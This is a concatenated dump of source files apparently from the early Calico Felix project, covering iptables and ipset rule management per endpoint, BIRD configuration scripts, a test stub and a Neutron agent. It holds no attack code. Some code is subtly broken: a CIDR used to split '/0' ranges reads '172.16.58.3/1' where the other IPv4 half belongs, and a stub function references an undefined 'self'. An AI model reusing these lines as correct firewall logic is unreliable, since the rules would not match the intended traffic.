self.__eq__(self,other) class Table(object): """ Mimic of an IPTC table. """ def __init__(self, type, name): self.type = type self.name = name self.chains = dict() def get_table(type, name): """ Gets a table. This is a simple helper method that returns either an IP v4 or an IP v6 table according to type. """ if type == IPV4: table = table_v4(name) else: table = table_v6(name) return table def get_chain(table, name): """ Gets a chain, creating it first if it does not exist. """ if name in table.chains: chain = self.chains[name] else: chain = Chain(name) self.chains[name] = chain return chain def truncate_rules(chain, count): """ This is a utility function to remove any excess rules from a chain. After we have carefully inserted all the rules we want at the start, we want to get rid of any legacy rules from the end. It takes a chain object, and a count for how many of the rules should be left in place. """ # TODO: Function identical to value in production code. while len(chain.rules) > count: rule = chain.rules[-1] chain.delete_rule(rule) def insert_rule(rule, chain, position=0, force_position=True): """ Add an iptables rule to a chain if it does not already exist. Position is the position for the insert as an offset; if set to RULE_POSN_LAST then the rule is appended. If force_position is True, then the rule is added at the specified point unless it already exists there. If force_position is False, then the rule is added only if it does not exist anywhere in the list of rules. """ # TODO: Function identical to value in production code. found = False rules = chain.rules if position == RULE_POSN_LAST: position = len(rules) if force_position: if (len(rules) <= position) or (rule._rule != chain.rules[position]): # Either adding after existing rules, or replacing an existing rule. chain.insert_rule(rule._rule, position) else: #*********************************************************************# #* The python-iptables code to compare rules does a comparison on *# #* all the relevant rule parameters (target, match, etc.) excluding *# #* the offset into the chain. Hence the test below finds whether *# #* there is a rule with the same parameters anywhere in the chain. *# #*********************************************************************# if rule._rule not in chain.rules: chain.insert_rule(rule._rule, position) return def init_state(): tables_v4["filter"] = Table("filter") tables_v4["nat"] = Table("nat") tables_v6["filter"] = Table("filter") <file_sep>/calico/felix/frules.py # -*- coding: utf-8 -*- # Copyright 2014 Metaswitch Networks # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ felix.frules ~~~~~~~~~~~~ Felix rule management, including iptables and ipsets. """ import logging import os import re import subprocess import time from calico.felix import fiptables from calico.felix import futils from calico.felix.futils import FailedSystemCall from calico.felix.futils import IPV4, IPV6 # Logger log = logging.getLogger(__name__) # Chain names CHAIN_PREROUTING = "felix-PREROUTING" CHAIN_INPUT = "felix-INPUT" CHAIN_FORWARD = "felix-FORWARD" CHAIN_TO_PREFIX = "felix-to-" CHAIN_FROM_PREFIX = "felix-from-" #*****************************************************************************# #* ipset names. The "to" ipsets are referenced from the "to" chains, and the *# #* "from" ipsets from the "from" chains. There are separate ipsets for IPv4 *# #* and IPv6, and as explained below, three in each of these categories for a *# #* total of 12 ipsets. *# #* *# #* The three types of ipsets are as follows. Note that an ipset can either *# #* have a port and protocol or not - it cannot have a mix of members with *# #* and without them. *# #* *# #* - The "addr" ipsets contain just a CIDR. These are for rules such as *# #* "allow all traffic from this network" (all ports and protocols). *# #* *# #* - The "port" ipsets contain a CIDR / protocol / port triple, and allow *# #* matching such as the following examples. *# #* - outbound UDP to 1.2.3.4/32:0 (port 0, i.e. any port) *# #* - inbound TCP on port 80 from 0.0.0.0/0 *# #* - outbound ICMP with type 1, code 2 to 10.0.0.0/8 *# #* - outbound ICMP (neighbor-discover) to 10.0.0.0/8 *# #* - inbound requests of IP protocol type 17 (port 0, i.e. any port) *# #* It does not allow for certain things. *# #* - there must be a protocol type *# #* - you cannot have a non-zero port except for tcp / udp / sctp *# #* - you cannot have ICMP unless there is either a type plus code or an *# #* ICMP type name (which maps to type plus code) *# #* *# #* - Finally, the "icmp" ipset is to work around the odd final restriction *# #* above, and allows rules such as "allow all ICMP to network X". *# #*****************************************************************************# IPSET_TO_ADDR_PREFIX = "felix-to-addr-" IPSET_TO_PORT_PREFIX = "felix-to-port-" IPSET_TO_ICMP_PREFIX = "felix-to-icmp-" IPSET_FROM_ADDR_PREFIX = "felix-from-addr-" IPSET_FROM_PORT_PREFIX = "felix-from-port-" IPSET_FROM_ICMP_PREFIX = "felix-from-icmp-" IPSET6_TO_ADDR_PREFIX = "felix-6-to-addr-" IPSET6_TO_PORT_PREFIX = "felix-6-to-port-" IPSET6_TO_ICMP_PREFIX = "felix-6-to-icmp-" IPSET6_FROM_ADDR_PREFIX = "felix-6-from-addr-" IPSET6_FROM_PORT_PREFIX = "felix-6-from-port-" IPSET6_FROM_ICMP_PREFIX = "felix-6-from-icmp-" IPSET_TMP_PORT = "felix-tmp-port" IPSET_TMP_ADDR = "felix-tmp-addr" IPSET_TMP_ICMP = "felix-tmp-icmp" IPSET6_TMP_PORT = "felix-6-tmp-port" IPSET6_TMP_ADDR = "felix-6-tmp-addr" IPSET6_TMP_ICMP = "felix-6-tmp-icmp" def set_global_rules(config): """ Set up global iptables rules. These are rules that do not change with endpoint, and are expected never to change - but they must be present. """ # The IPV4 nat table first. This must have a felix-PREROUTING chain. table = fiptables.get_table(futils.IPV4, "nat") chain = fiptables.get_chain(table, CHAIN_PREROUTING) if config.METADATA_IP is None: # No metadata IP. The chain should be empty - if not, clean it out. chain.flush() else: # Now add the single rule to that chain. It looks like this. # DNAT tcp -- any any anywhere 169.254.169.254 tcp dpt:http to:127.0.0.1:9697 rule = fiptables.Rule(futils.IPV4) rule.dst = "169.254.169.254" rule.protocol = "tcp" rule.create_target("DNAT", {"to_destination": "%s:%s" % (config.METADATA_IP, config.METADATA_PORT)}) rule.create_tcp_match("80") fiptables.insert_rule(rule, chain) fiptables.truncate_rules(chain, 1) #*************************************************************************# #* This is a hack, because of a bug in python-iptables where it fails to *# #* correctly match some rules; see *# #* https://github.com/ldx/python-iptables/issues/111 If any of the rules *# #* relating to this tap device already exist, assume that they all do so *# #* as not to recreate them. *# #* *# #* This is Calico issue #35, *# #* https://github.com/Metaswitch/calico/issues/35 *# #*************************************************************************# rules_check = subprocess.call("iptables -L %s | grep %s" % ("INPUT", CHAIN_INPUT), shell=True) if rules_check == 0: log.debug("Static rules already exist") else: # Add a rule that forces us through the chain we just created. chain = fiptables.get_chain(table, "PREROUTING") rule = fiptables.Rule(futils.IPV4, CHAIN_PREROUTING) fiptables.insert_rule(rule, chain) #*************************************************************************# #* Now the filter table. This needs to have calico-filter-FORWARD and *# #* calico-filter-INPUT chains, which we must create before adding any *# #* rules that send to them. *# #*************************************************************************# for type in (IPV4, IPV6): table = fiptables.get_table(type, "filter") fiptables.get_chain(table, CHAIN_FORWARD) fiptables.get_chain(table, CHAIN_INPUT) if rules_check != 0: # Add rules that forces us through the chain we just created. chain = fiptables.get_chain(table, "FORWARD") rule = fiptables.Rule(type, CHAIN_FORWARD) fiptables.insert_rule(rule, chain) chain = fiptables.get_chain(table, "INPUT") rule = fiptables.Rule(type, CHAIN_INPUT) fiptables.insert_rule(rule, chain) def set_ep_specific_rules(id, iface, type, localips, mac): """ Add (or modify) the rules for a particular endpoint, whose id is supplied. This routine : - ensures that the chains specific to this endpoint exist, where there is a chain for packets leaving and a chain for packets arriving at the endpoint; - routes packets to / from the tap interface to the chains created above; - fills out the endpoint specific chains with the correct rules; - verifies that the ipsets exist. The net of all this is that every bit of iptables configuration that is specific to this particular endpoint is created (or verified), with the exception of ACLs (i.e. the configuration of the list of other addresses for which routing is permitted) - this is done in set_acls. Note however that this routine handles IPv4 or IPv6 not both; it is normally called twice in succession (once for each). """ to_chain_name = CHAIN_TO_PREFIX + id from_chain_name = CHAIN_FROM_PREFIX + id # Set up all the ipsets. if type == IPV4: to_ipset_port = IPSET_TO_PORT_PREFIX + id to_ipset_addr = IPSET_TO_ADDR_PREFIX + id to_ipset_icmp = IPSET_TO_ICMP_PREFIX + id from_ipset_port = IPSET_FROM_PORT_PREFIX + id from_ipset_addr = IPSET_FROM_ADDR_PREFIX + id from_ipset_icmp = IPSET_FROM_ICMP_PREFIX + id family = "inet" else: to_ipset_port = IPSET6_TO_PORT_PREFIX + id to_ipset_addr = IPSET6_TO_ADDR_PREFIX + id to_ipset_icmp = IPSET6_TO_ICMP_PREFIX + id from_ipset_port = IPSET6_FROM_PORT_PREFIX + id from_ipset_addr = IPSET6_FROM_ADDR_PREFIX + id from_ipset_icmp = IPSET6_FROM_ICMP_PREFIX + id family = "inet6" # Create ipsets if they do not already exist. create_ipset(to_ipset_port, "hash:net,port", family) create_ipset(to_ipset_addr, "hash:net", family) create_ipset(to_ipset_icmp, "hash:net", family) create_ipset(from_ipset_port, "hash:net,port", family) create_ipset(from_ipset_addr, "hash:net", family) create_ipset(from_ipset_icmp, "hash:net", family) # Get the table. table = fiptables.get_table(type, "filter") # Create the chains for packets to the interface to_chain = fiptables.get_chain(table, to_chain_name) #*************************************************************************# #* Put rules into that "from" chain, i.e. the chain traversed by *# #* outbound packets. Note that we never ACCEPT, but always RETURN if we *# #* want to accept this packet. This is because the rules here are for *# #* this endpoint only - we cannot (for example) ACCEPT a packet which *# #* would be rejected by the "to" rules for another endpoint to which it *# #* is addressed which happens to exist on the same host. *# #*************************************************************************# index = 0 if type == IPV6: #************************************************************************# #* In ipv6 only, there are 6 rules that need to be created first. *# #* RETURN ipv6-icmp anywhere anywhere ipv6-icmptype 130 *# #* RETURN ipv6-icmp anywhere anywhere ipv6-icmptype 131 *# #* RETURN ipv6-icmp anywhere anywhere ipv6-icmptype 132 *# #* RETURN ipv6-icmp anywhere anywhere ipv6-icmp router-advertisement *# #* RETURN ipv6-icmp anywhere anywhere ipv6-icmp neighbour-solicitation *# #* RETURN ipv6-icmp anywhere anywhere ipv6-icmp neighbour-advertisement *# #* *# #* These rules are ICMP types 130, 131, 132, 134, 135 and 136, and can *# #* be created on the command line with something like : *# #* ip6tables -A plw -j RETURN --protocol icmpv6 --icmpv6-type 130 *# #************************************************************************# for icmp in ["130", "131", "132", "134", "135", "136"]: rule = fiptables.Rule(futils.IPV6, "RETURN") rule.protocol = "icmpv6" rule.create_icmp6_match([icmp]) fiptables.insert_rule(rule, to_chain, index) index += 1 rule = fiptables.Rule(type, "DROP") rule.create_conntrack_match(["INVALID"]) fiptables.insert_rule(rule, to_chain, index) index += 1 # "Return if state RELATED or ESTABLISHED". rule = fiptables.Rule(type, "RETURN") rule.create_conntrack_match(["RELATED,ESTABLISHED"]) fiptables.insert_rule(rule, to_chain, index) index += 1 # "Return anything whose source matches this ipset" (for three ipsets) rule = fiptables.Rule(type, "RETURN") rule.create_set_match([to_ipset_port, "src,dst"]) fiptables.insert_rule(rule, to_chain, index) index += 1 rule = fiptables.Rule(type, "RETURN") rule.create_set_match([to_ipset_addr, "src"]) fiptables.insert_rule(rule, to_chain, index) index += 1 rule = fiptables.Rule(type, "RETURN") if type is IPV4: rule.protocol = "icmp" else: rule.protocol = "icmpv6" rule.create_set_match([to_ipset_icmp, "src"]) fiptables.insert_rule(rule, to_chain, index) index += 1 # If we get here, drop the packet. rule = fiptables.Rule(type, "DROP") fiptables.insert_rule(rule, to_chain, index) index += 1 #*************************************************************************# #* Delete all rules from here to the end of the chain, in case there *# #* were rules present which should not have been. *# #*************************************************************************# fiptables.truncate_rules(to_chain, index) #*************************************************************************# #* Now the chain that manages packets from the interface, and the rules *# #* in that chain. *# #*************************************************************************# from_chain = fiptables.get_chain(table, from_chain_name) index = 0 if type == IPV6: # In ipv6 only, allows all ICMP traffic from this endpoint to anywhere. rule = fiptables.Rule(type, "RETURN") rule.protocol = "icmpv6" fiptables.insert_rule(rule, from_chain, index) index += 1 # "Drop if state INVALID". rule = fiptables.Rule(type, "DROP") rule.create_conntrack_match(["INVALID"]) fiptables.insert_rule(rule, from_chain, index) index += 1 # "Return if state RELATED or ESTABLISHED". rule = fiptables.Rule(type, "RETURN") rule.create_conntrack_match(["RELATED,ESTABLISHED"]) fiptables.insert_rule(rule, from_chain, index) index += 1 if type == IPV4: # Allow outgoing DHCP packets. rule = fiptables.Rule(type, "RETURN") rule.protocol = "udp" rule.create_udp_match("68", "67") fiptables.insert_rule(rule, from_chain, index) index += 1 #*********************************************************************# #* Drop UDP that would allow this server to act as a DHCP server. *# #* This may be unnecessary - see *# #* https://github.com/Metaswitch/calico/issues/36 *# #*********************************************************************# rule = fiptables.Rule(type, "DROP") rule.protocol = "udp" rule.create_udp_match("67", "68") fiptables.insert_rule(rule, from_chain, index) index += 1 else: # Allow outgoing DHCP packets. rule = fiptables.Rule(type, "RETURN") rule.protocol = "udp" rule.create_udp_match("546", "547") fiptables.insert_rule(rule, from_chain, index) index += 1 #*************************************************************************# #* Now only allow through packets from the correct MAC and IP address. *# #* We do this by first setting a mark if it matches any of the IPs, then *# #* dropping the packets if that mark is not set. There may be rules *# #* here from addresses that this endpoint no longer has - in which case *# #* we insert before them and they get tidied up when we truncate the *# #* chain. *# #*************************************************************************# for ip in localips: rule = fiptables.Rule(type) rule.create_target("MARK", {"set_mark": "1"}) rule.src = ip rule.create_mac_match(mac) fiptables.insert_rule(rule, from_chain, index) index += 1 rule = fiptables.Rule(type, "DROP") rule.create_mark_match("!1") fiptables.insert_rule(rule, from_chain, index) index += 1 # "Permit packets whose destination matches the supplied ipsets." rule = fiptables.Rule(type, "RETURN") rule.create_set_match([from_ipset_port, "dst,dst"]) fiptables.insert_rule(rule, from_chain, index) index += 1 rule = fiptables.Rule(type, "RETURN") rule.create_set_match([from_ipset_addr, "dst"]) fiptables.insert_rule(rule, from_chain, index) index += 1 rule = fiptables.Rule(type, "RETURN") if type is IPV4: rule.protocol = "icmp" else: rule.protocol = "icmpv6" rule.create_set_match([from_ipset_icmp, "dst"]) fiptables.insert_rule(rule, from_chain, index) index += 1 # If we get here, drop the packet. rule = fiptables.Rule(type, "DROP") fiptables.insert_rule(rule, from_chain, index) index += 1 #*************************************************************************# #* Delete all rules from here to the end of the chain, in case there *# #* were rules present which should not have been. *# #*************************************************************************# fiptables.truncate_rules(from_chain, index) #*************************************************************************# #* This is a hack, because of a bug in python-iptables where it fails to *# #* correctly match some rules; see *# #* https://github.com/ldx/python-iptables/issues/111 If any of the rules *# #* relating to this tap device already exist, assume that they all do so *# #* as not to recreate them. *# #* *# #* This is Calico issue #35, *# #* https://github.com/Metaswitch/calico/issues/35 *# #*************************************************************************# if type == IPV4: rules_check = subprocess.call( "iptables -v -L %s | grep %s > /dev/null" % (CHAIN_INPUT, iface), shell=True) else: rules_check = subprocess.call( "ip6tables -v -L %s | grep %s > /dev/null" % (CHAIN_INPUT, iface), shell=True) if rules_check == 0: log.debug("%s rules for interface %s already exist" % (type, iface)) else: #*********************************************************************# #* We have created the chains and rules that control input and *# #* output for the interface but not routed traffic through them. Add *# #* the input rule detecting packets arriving for the endpoint. Note *# #* that these rules should perhaps be restructured and simplified *# #* given that this is not a bridged network - *# #* https://github.com/Metaswitch/calico/issues/36 *# #*********************************************************************# log.debug("%s rules for interface %s do not already exist" % (type, iface)) chain = fiptables.get_chain(table, CHAIN_INPUT) rule = fiptables.Rule(type, from_chain_name) rule.in_interface = iface fiptables.insert_rule(rule, chain, fiptables.RULE_POSN_LAST) #*********************************************************************# #* Similarly, create the rules that direct packets that are *# #* forwarded either to or from the endpoint, sending them to the *# #* "to" or "from" chains as appropriate. *# #*********************************************************************# chain = fiptables.get_chain(table, CHAIN_FORWARD) rule = fiptables.Rule(type, from_chain_name) rule.in_interface = iface fiptables.insert_rule(rule, chain, fiptables.RULE_POSN_LAST) rule = fiptables.Rule(type, to_chain_name) rule.out_interface = iface fiptables.insert_rule(rule, chain, fiptables.RULE_POSN_LAST) return def del_rules(id, type): """ Remove the rules for an endpoint which is no longer managed. """ log.debug("Delete %s rules for %s" % (type, id)) to_chain = CHAIN_TO_PREFIX + id from_chain = CHAIN_FROM_PREFIX + id table = fiptables.get_table(type, "filter") if type == IPV4: to_ipset_port = IPSET_TO_PORT_PREFIX + id to_ipset_addr = IPSET_TO_ADDR_PREFIX + id from_ipset_port = IPSET_FROM_PORT_PREFIX + id from_ipset_addr = IPSET_FROM_ADDR_PREFIX + id else: to_ipset_port = IPSET6_TO_PORT_PREFIX + id to_ipset_addr = IPSET6_TO_ADDR_PREFIX + id from_ipset_port = IPSET6_FROM_PORT_PREFIX + id from_ipset_addr = IPSET6_FROM_ADDR_PREFIX + id #*************************************************************************# #* Remove the rules routing to the chain we are about to remove. The *# #* baroque structure is caused by the python-iptables interface. *# #* chain.rules returns a list of rules, each of which contains its index *# #* (i.e. position). If we get rules 7 and 8 and try to remove them in *# #* that order, then the second fails because rule 8 got renumbered when *# #* rule 7 was deleted, so the rule we have in our hand neither matches *# #* the old rule 8 (now at index 7) or the new rule 8 (with a different *# #* target etc. Hence each time we remove a rule we rebuild the list of *# #* rules to iterate through. *# #* *# #* In principle we could use autocommit to make this much nicer (as the *# #* python-iptables docs suggest), but in practice it seems a bit buggy, *# #* and leads to errors elsewhere. Reversing the list sounds like it *# #* should work too, but in practice does not. *# #*************************************************************************# for name in (CHAIN_INPUT, CHAIN_FORWARD): chain = fiptables.get_chain(table, name) done = False while not done: done = True for rule in chain.rules: if rule.target.name in (to_chain, from_chain): chain.delete_rule(rule) done = False break # Delete the from and to chains for this endpoint. for name in (from_chain, to_chain): if table.is_chain(name): chain = fiptables.get_chain(table, name) log.debug("Flush chain %s", name) chain.flush() log.debug("Delete chain %s", name) table.delete_chain(name) # Delete the ipsets for this endpoint. for ipset in [from_ipset_addr, from_ipset_port, to_ipset_addr, to_ipset_port]: if futils.call_silent(["ipset", "list", ipset]) == 0: futils.check_call(["ipset", "destroy", ipset]) def set_acls(id, type, inbound, in_default, outbound, out_default): """ Set up the ACLs, making sure that they match. """ if type == IPV4: to_ipset_port = IPSET_TO_PORT_PREFIX + id to_ipset_addr = IPSET_TO_ADDR_PREFIX + id to_ipset_icmp = IPSET_TO_ICMP_PREFIX + id from_ipset_port = IPSET_FROM_PORT_PREFIX + id from_ipset_addr = IPSET_FROM_ADDR_PREFIX + id from_ipset_icmp = IPSET_FROM_ICMP_PREFIX + id tmp_ipset_port = IPSET_TMP_PORT tmp_ipset_addr = IPSET_TMP_ADDR tmp_ipset_icmp = IPSET_TMP_ICMP family = "inet" else: to_ipset_port = IPSET6_TO_PORT_PREFIX + id to_ipset_addr = IPSET6_TO_ADDR_PREFIX + id to_ipset_icmp = IPSET6_TO_ICMP_PREFIX + id from_ipset_port = IPSET6_FROM_PORT_PREFIX + id from_ipset_addr = IPSET6_FROM_ADDR_PREFIX + id from_ipset_icmp = IPSET6_FROM_ICMP_PREFIX + id tmp_ipset_port = IPSET6_TMP_PORT tmp_ipset_addr = IPSET6_TMP_ADDR tmp_ipset_icmp = IPSET6_TMP_ICMP family = "inet6" if in_default != "deny" or out_default != "deny": #*********************************************************************# #* Only default deny rules are implemented. When we implement *# #* default accept rules, it will be necessary for *# #* set_ep_specific_rules to at least know what the default policy *# #* is. That implies that set_ep_specific_rules probably ought to be *# #* moved to be called here rather than where it is now. This issue *# #* is covered by https://github.com/Metaswitch/calico/issues/39 *# #*********************************************************************# log.critical("Only default deny rules are implemented") # Verify that the tmp ipsets exist and are empty. create_ipset(tmp_ipset_port, "hash:net,port", family) create_ipset(tmp_ipset_addr, "hash:net", family) create_ipset(tmp_ipset_icmp, "hash:net", family) futils.check_call(["ipset", "flush", tmp_ipset_port]) futils.check_call(["ipset", "flush", tmp_ipset_addr]) futils.check_call(["ipset", "flush", tmp_ipset_icmp]) update_ipsets(type, type + " inbound", inbound, to_ipset_addr, to_ipset_port, to_ipset_icmp, tmp_ipset_addr, tmp_ipset_port, tmp_ipset_icmp) update_ipsets(type, type + " outbound", outbound, from_ipset_addr, from_ipset_port, from_ipset_icmp, tmp_ipset_addr, tmp_ipset_port, tmp_ipset_icmp) def update_ipsets(type, descr, rule_list, ipset_addr, ipset_port, ipset_icmp, tmp_ipset_addr, tmp_ipset_port, tmp_ipset_icmp): """ Update the ipsets with a given set of rules. If a rule is invalid we do not throw an exception or give up, but just log an error and continue. """ for rule in rule_list: if rule.get('cidr') is None: log.error("Invalid %s rule without cidr for %s : %s", (descr, id, rule)) continue #*********************************************************************# #* The ipset format is something like "10.11.1.3,udp:0" *# #* Further valid examples include *# #* 10.11.1.0/24 *# #* 10.11.1.0/24,tcp *# #* 10.11.1.0/24,80 *# #* *# #*********************************************************************# if rule['cidr'].endswith("/0"): #*****************************************************************# #* We have to handle any CIDR with a "/0" specially, since we *# #* split it into two ipsets entries; ipsets cannot have zero *# #* CIDR length in bits. *# #*****************************************************************# if type == IPV4: cidrs = ["0.0.0.0/1", "172.16.58.3/1"] else: cidrs = ["::/1", "8000::/1"] else: cidrs = [rule['cidr']] #*********************************************************************# #* Now handle the protocol. There are three types of protocol. tcp / *# #* sctp /udp / udplite have an optional port. icmp / icmpv6 have an *# #* optional type and code. Anything else doesn't have ports. *# #* *# #* We build the value to insert without the CIDR, then prepend the *# #* CIDR later (since we may need to use two CIDRs). *# #*********************************************************************# protocol = rule.get('protocol') port = rule.get('port') icmp_type = rule.get('icmp_type') icmp_code = rule.get('icmp_code') if protocol is None: if rule.get('port') is not None: # No protocol, so port is not allowed. log.error( "Invalid %s rule with port but no protocol for %s : %s", descr, id, rule) continue suffix = "" ipset = tmp_ipset_addr elif protocol in ("tcp", "sctp", "udp", "udplite"): if port is None: # ipsets use port 0 to mean "any port" suffix = ",%s:0" % (protocol) ipset = tmp_ipset_port else: if not futils.PORT_REGEX.match(str(port)): # Port was supplied but was not an integer. log.error( "Invalid port in %s rule for %s : %s", (descr, id, rule)) continue # An integer port was specified. suffix = ",%s:%s" % (protocol, port) ipset = tmp_ipset_port elif protocol in ("icmp", "icmpv6"): if (icmp_type is None and icmp_code is not None): # A code but no type - not allowed. log.error( "Invalid %s rule with ICMP code but no type for %s : %s", descr, id, rule) continue if icmp_type is None: # No type - all ICMP to / from the cidr, so use the ICMP ipset. suffix = "" ipset = tmp_ipset_icmp elif futils.INT_REGEX.match(str(icmp_type)): if icmp_code is None: # Code defaults to 0 if not supplied. icmp_code = 0 suffix = ",%s:%s/%s" % (protocol, icmp_type, icmp_code) ipset = tmp_ipset_port else: # Not an integer ICMP type - must be a string code name. suffix = ",%s:%s" % (protocol, icmp_type) ipset = tmp_ipset_port else: if port is not None: # The supplied protocol does not allow ports. log.error( "Invalid %s rule with port but no protocol for %s : %s", descr, id, rule) continue # ipsets use port 0 to mean "any port" suffix = ",%s:0" % (protocol) ipset = tmp_ipset_port # Now add those values to the ipsets. for cidr in cidrs: args = ["ipset", "add", ipset, cidr + suffix, "-exist"] try: stdout, stderr = futils.check_call(args) except FailedSystemCall: log.exception("Failed to add %s rule for %s" % (descr, id)) # Now that we have filled the tmp ipset, swap it with the real one. futils.check_call(["ipset", "swap", tmp_ipset_addr, ipset_addr]) futils.check_call(["ipset", "swap", tmp_ipset_port, ipset_port]) futils.check_call(["ipset", "swap", tmp_ipset_icmp, ipset_icmp]) # Get the temporary ipsets clean again - we leave them existing but empty. futils.check_call(["ipset", "flush", tmp_ipset_port]) futils.check_call(["ipset", "flush", tmp_ipset_addr]) futils.check_call(["ipset", "flush", tmp_ipset_icmp]) def list_eps_with_rules(type): """ Lists all of the endpoints for which rules exist and are owned by Felix. Returns a set of suffices, i.e. the start of the uuid / end of the interface name. The purpose of this routine is to get a list of endpoints (actually tap suffices) for which there is configuration that Felix might need to tidy up from a previous iteration. """ #*************************************************************************# #* For chains, we check against the "to" chain, while for ipsets we *# #* check against the "to-port" ipset. This isn't random; we absolutely *# #* must check the first one created in the creation code above (and the *# #* last one deleted), to catch the case where (for example) endpoint *# #* creation created one ipset then Felix terminated, where we have to *# #* detect that there is an ipset lying around that needs tidying up. *# #*************************************************************************# table = fiptables.get_table(type, "filter") eps = {chain.name.replace(CHAIN_TO_PREFIX, "") for chain in table.chains if chain.name.startswith(CHAIN_TO_PREFIX)} data = futils.check_call(["ipset", "list"]).stdout lines = data.split("\n") for line in lines: words = line.split() if (len(words) > 1 and words[0] == "Name:" and words[1].startswith(IPSET_TO_PORT_PREFIX)): eps.add(words[1].replace(IPSET_TO_PORT_PREFIX, "")) elif (len(words) > 1 and words[0] == "Name:" and words[1].startswith(IPSET6_TO_PORT_PREFIX)): eps.add(words[1].replace(IPSET6_TO_PORT_PREFIX, "")) return eps def create_ipset(name, typename, family): """ Create an ipset. If it already exists, do nothing. *name* is the name of the ipset. *typename* must be a valid type, such as "hash:net" or "hash:net,port" *family* must be *inet* or *inet6* """ if futils.call_silent(["ipset", "list", name]) != 0: # ipset list failed - either does not exist, or an error. Either way, # try creation, throwing an error if it does not work. futils.check_call( ["ipset", "create", name, typename, "family", family]) <file_sep>/debian/calico-felix.postinst #!/bin/sh set -e pip install python-iptables #DEBHELPER# <file_sep>/etc/calico-gen-bird-conf.sh #! /bin/bash BIRD_CONF=/etc/bird/bird.conf BIRD_CONF_TEMPLATE=/usr/share/calico/bird/calico-bird.conf.template # Require 3 arguments. [ $# -eq 3 ] || cat <<EOF Usage: $0 <my-ip-address> <rr-ip-address> <as-number> where <my-ip-address> is the external IP address of the local machine <rr-ip-address> is the IP address of the route reflector that the local BIRD should peer with <as-number> is the BGP AS number that the route relector is using. Please specify exactly these 3 required arguments. EOF [ $# -eq 3 ] || exit -1 # Name the arguments. my_ip_address=$1 rr_ip_address=$2 as_number=$3 # Generate BIRD config file. mkdir -p $(dirname $BIRD_CONF) sed -e " s/@MY_IP_ADDRESS@/$my_ip_address/; s/@RR_IP_ADDRESS@/$rr_ip_address/; s/@AS_NUMBER@/$as_number/; " < $BIRD_CONF_TEMPLATE > $BIRD_CONF echo BIRD configuration generated at $BIRD_CONF if [ -f /etc/redhat-release ]; then # On a Red Hat system, we assume that BIRD is locally built and # installed, as it is not available for RHEL 6.5 in packaged form. # Run this now. /usr/local/sbin/bird -c /etc/bird/bird.conf echo BIRD started else # On a Debian/Ubuntu system, BIRD is packaged and already running, # so just restart it. service bird restart echo BIRD restarted fi <file_sep>/etc/calico-gen-bird6-conf.sh #! /bin/bash BIRD_CONF=/etc/bird/bird6.conf BIRD_CONF_TEMPLATE=/usr/share/calico/bird/calico-bird6.conf.template # Require 4 arguments. [ $# -eq 4 ] || cat <<EOF Usage: $0 <my-ipv4-address> <my-ipv6-address> <rr-ipv6-address> <as-number> where <my-ipv4-address> is the external IPv4 address of the local machine <my-ipv6-address> is the external IPv6 address of the local machine <rr-ipv6-address> is the IPv6 address of the route reflector that the local BIRD6 should peer with <as-number> is the BGP AS number that the route relector is using. Please specify exactly these 4 required arguments. EOF [ $# -eq 4 ] || exit -1 # Name the arguments. my_ipv4_address=$1 my_ipv6_address=$2 rr_ipv6_address=$3 as_number=$4 # Generate BIRD config file. mkdir -p $(dirname $BIRD_CONF) sed -e " s/@MY_IPV4_ADDRESS@/$my_ipv4_address/; s/@MY_IPV6_ADDRESS@/$my_ipv6_address/; s/@RR_IPV6_ADDRESS@/$rr_ipv6_address/; s/@AS_NUMBER@/$as_number/; " < $BIRD_CONF_TEMPLATE > $BIRD_CONF echo BIRD6 configuration generated at $BIRD_CONF if [ -f /etc/redhat-release ]; then # On a Red Hat system, we assume that BIRD6 is locally built and # installed, as it is not available for RHEL 6.5 in packaged form. # Run this now. /usr/local/sbin/bird6 -c /etc/bird/bird6.conf echo BIRD6 started else # On a Debian/Ubuntu system, BIRD6 is packaged and already running, # so just restart it. service bird6 restart echo BIRD6 restarted fi <file_sep>/calico/felix/test/test_felix.py # -*- coding: utf-8 -*- # Copyright 2014 Metaswitch Networks # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ felix.test.test_felix ~~~~~~~~~~~ Top level tests for Felix. """ import sys import unittest # Hide iptc, since we do not have it. sys.modules['iptc'] = __import__('calico.felix.test.stub_empty') # Replace calico.felix.fiptables with calico.felix.test.stub_fiptables import calico.felix.test.stub_fiptables sys.modules['calico.felix.fiptables'] = __import__('calico.felix.test.stub_fiptables') calico.felix.fiptables = calico.felix.test.stub_fiptables # Now import felix, and away we go. import calico.felix.felix as felix class TestBasic(unittest.TestCase): def test_startup(self): config_path = "calico/felix/test/data/felix_debug.cfg" felix.default_logging() agent = felix.FelixAgent(config_path) <file_sep>/etc/calico_agent.ini [DEFAULT] # The port number the metadata proxy should listen on. # metadata_port = 9697 # Allow running metadata proxy. # enable_metadata_proxy = True # Location of Metadata Proxy UNIX domain socket # metadata_proxy_socket = $state_path/metadata_proxy <file_sep>/calico/agent/calico_neutron_agent.py #!/usr/bin/env python # vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright (c) 2014 Metaswitch Networks # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # Performs per host Calico configuration for Neutron. # Based on the structure of the Linux Bridge agent in the # Linux Bridge ML2 Plugin. # @author: Metaswitch Networks import sys import time import uuid import eventlet from oslo.config import cfg from neutron.agent.common import config as common_config from neutron.agent.linux import external_process from neutron.common import config as logging_config from neutron.openstack.common import log as logging LOG = logging.getLogger(__name__) OPTS = [ cfg.IntOpt('metadata_port', default=9697, help=_("TCP Port used by Neutron metadata namespace proxy.")), cfg.BoolOpt('enable_metadata_proxy', default=True, help=_("Allow running metadata proxy.")), 